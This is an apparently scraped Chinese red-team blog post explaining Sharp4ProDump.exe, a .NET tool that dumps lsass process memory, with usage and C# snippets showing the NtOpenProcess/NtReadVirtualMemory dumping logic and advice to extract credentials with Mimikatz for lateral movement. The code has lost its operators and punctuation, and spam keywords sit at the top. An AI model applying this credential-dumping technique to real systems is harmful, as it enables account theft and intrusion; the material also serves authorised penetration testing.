手机网站存储登录信息,网站建设广州天河区,描述自己做的网站,辽宁省最好的男科医院01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等#xff08;包括但不限于#xff09;进行检测或维护参考#xff0c;未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失#xf…01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等包括但不限于进行检测或维护参考未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失均由使用者本人负责。本文所提供的工具仅用于学习禁止用于其他方面
02基本介绍
在红队活动中转储进程的内存可以有效地提取用户凭据特别是像 lsass 这样的关键进程因为该进程负责处理身份验证和安全令牌。Sharp4ProDump.exe 就是这样一款内网渗透的工具能够针对指定进程进行内存转储。 03使用方法
Sharp4ProDump.exe 允许用户为指定进程生成内存转储文件。其基本使用方式如下所示。
Sharp4ProDump.exe ProcessName [FILE]参数FILE为可选的输出文件名默认为包含所有内存块的文件其实在转储时也为每个内存区域生成一个文件。需要注意的一点转储lsass进程需要以管理员身份执行 而对于用户启动的进程无需管理员权限方便红队灵活选择目标。
比如转储notepad.exe记事本进程时就无需管理员权限普通权限下的cmd即可运行成功如下图所示。 04原理解析
默认情况下首先获取 lsass 进程的 ID当然也可以指定为其他进程的名称然后通过调用 NtOpenProcess 函数打开该进程具体代码如下所示。
Process[] processesByName Process.GetProcessesByName(lsass);
if (processesByName.Length 0)
{Console.WriteLine([-] Process not found.);Environment.Exit(0);
}
int id processesByName[0].Id;
IntPtr zero IntPtr.Zero;
Win32.NtOpenProcess(ref zero, 1040U, ref object_ATTRIBUTES, ref client_ID);随后使用 NtQueryVirtualMemory 函数查询进程的内存区域并筛选出可读的内存块。对于每个合适的内存区域工具调用 NtReadVirtualMemory 读取内存数据并写入到文件中。
while (Win32.NtQueryVirtualMemory(zero, intPtr, 0U, out memory_BASIC_INFORMATION, 48U, out num2) 0)
{if (memory_BASIC_INFORMATION.Protect 4 memory_BASIC_INFORMATION.State 4096){byte[] array2 new byte[(int)memory_BASIC_INFORMATION.RegionSize];Win32.NtReadVirtualMemory(zero, memory_BASIC_INFORMATION.BaseAddress, array2, (int)memory_BASIC_INFORMATION.RegionSize, out intPtr2);Program.WriteToFile(array2, (int)memory_BASIC_INFORMATION.RegionSize, filename);}
}转储完成后工具将每个内存区域的内容写入不同的 .dmp 文件并生成一个包含所有内存块的汇总文件。
string filename2 text _ id.ToString() _allinone.dmp;
if (args.Length 1)
{filename2 args[1];
}
Program.WriteToFile(array, array.Length, filename2);一旦完成转储红队可以利用一些工具如 Mimikatz分析这些内存转储文件提取明文凭据和其他敏感信息。通过这种方式红队可以实现横向移动、提权或其他后续攻击。
综上Sharp4ProDump.exe 是红队在渗透测试中一个不可或缺的工具通过高效地转储进程内存获取关键凭据为进一步的攻击奠定基础。 05.NET安全知识库
星球汇聚了各行业安全攻防技术大咖并且每日分享.NET安全技术干货以及交流解答各类技术等问题。 星球文化20个专题栏目涵盖了点、线、面、体等知识面其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。